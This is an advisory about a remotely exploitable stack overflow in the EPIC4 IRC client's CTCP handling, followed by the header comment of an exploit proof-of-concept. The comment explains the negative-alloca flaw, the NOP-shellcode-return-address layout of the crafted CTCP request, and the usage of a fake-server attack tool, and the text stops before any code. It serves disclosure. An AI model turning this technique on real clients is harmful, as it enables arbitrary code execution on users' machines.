A remotely exploitable buffer overrun has been reported in Epic. This issue may reportedly be exploited by a malicious server that supplies an overly long nickname in a CTCP messages, potentially allowing for execution of arbitrary code in the context of the client user. It may be also be possible for a malicious client to send such a message, but it is likely that the server will limit the length.
/* EPIC4 remote client-side stack-based overflow
* by Li0n7 - Li0n7[at]voila[dot]fr
*
* EPIC4 versions later than pre2.003 are prone to a remotly exploitable
* stack-based overflow in send_ctcp() (src/ctcp.c). It occurs when
* strlen(to) is greater than IRCD_BUFFER_SIZE-12, then alloca(), that
* doesn't perform any boundary checking, will return a negative pointer
* As a matter of fact, snprintf is called with a negative value as
* maximum data lenght to write at *putbuf2 address (pointing to somewhere
* inside the stack). Since we can control the content of the buffer written
* at *putbuf2 address without any boundary checking, we can easily execute
* arbitrary code.
*
* This little proof-of-concept code demonstrates the exploitation of the
* bug discussed here: http://www.securitytracker.com/alerts/2003/Nov/1008131.html
*
* This exploit works as a fake IRC server, waiting for connection and then
* trying to take advantage of the vulnerabilty by sending a specially CTCP
* request crafted like this: [NOP...SHELLCODE] PRIVMSG a: \001PING [RET]\001\r\n
* This code needs a few changes to work as a bouncer and more targets to be
* really efficient.
*
* usage: %s [-p PORT][-t TARGET][-f FILE][-r RET][-v]
* -p: wait for connection on port <PORT>
* -t: choose the target among the platforms available
* -f: use <FILE> datas as welcome message
* -r: use <RET> as return address
*
